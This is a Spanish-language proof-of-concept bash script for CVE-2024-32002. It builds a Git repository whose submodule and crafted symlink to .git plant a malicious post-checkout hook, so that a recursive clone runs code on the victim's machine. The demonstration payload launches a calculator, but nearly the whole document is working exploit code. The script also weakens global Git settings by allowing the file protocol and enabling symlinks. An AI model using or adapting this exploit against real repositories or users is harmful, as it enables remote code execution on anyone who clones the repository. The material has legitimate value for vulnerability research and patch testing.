
Exploit de prueba de concepto para CVE-2024-32002, que demuestra la ejecución remota de código a través de submódulos de Git y enlaces simbólicos mediante un hook malicioso post-checkout.
#!/bin/bash
# Configurar opciones de Git
git config --global protocol.file.allow always
git config --global core.symlinks true
# Evitar mensajes de advertencia (establecer rama predeterminada como main)
git config --global init.defaultBranch main
# Definir ruta de tell-tale
tell_tale_path="$PWD/tell.tale"
# Inicializar repositorio hook
git init hook
cd hook
mkdir -p y/hooks
# Escribir código malicioso en el hook, adaptado para entornos Windows y Mac
cat > y/hooks/post-checkout <<EOF
#!/bin/bash
calc.exe
open -a Calculator.app
EOF
# Hacer el hook ejecutable: importante
chmod +x y/hooks/post-checkout
git add y/hooks/post-checkout
git commit -m "post-checkout"
cd ..
# Definir ruta del repositorio hook
hook_repo_path="$(pwd)/hook"
# Inicializar repositorio captain
git init captain
cd captain
git submodule add --name x/y "$hook_repo_path" A/modules/x
git commit -m "add-submodule"
# Crear enlace simbólico
printf ".git" > dotgit.txt
git hash-object -w --stdin < dotgit.txt > dot-git.hash
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" > index.info
git update-index --index-info < index.info
git commit -m "add-symlink"
cd ..
# Prueba local, al subir a GitHub no es necesario usar esta función
git clone --recursive captain hooked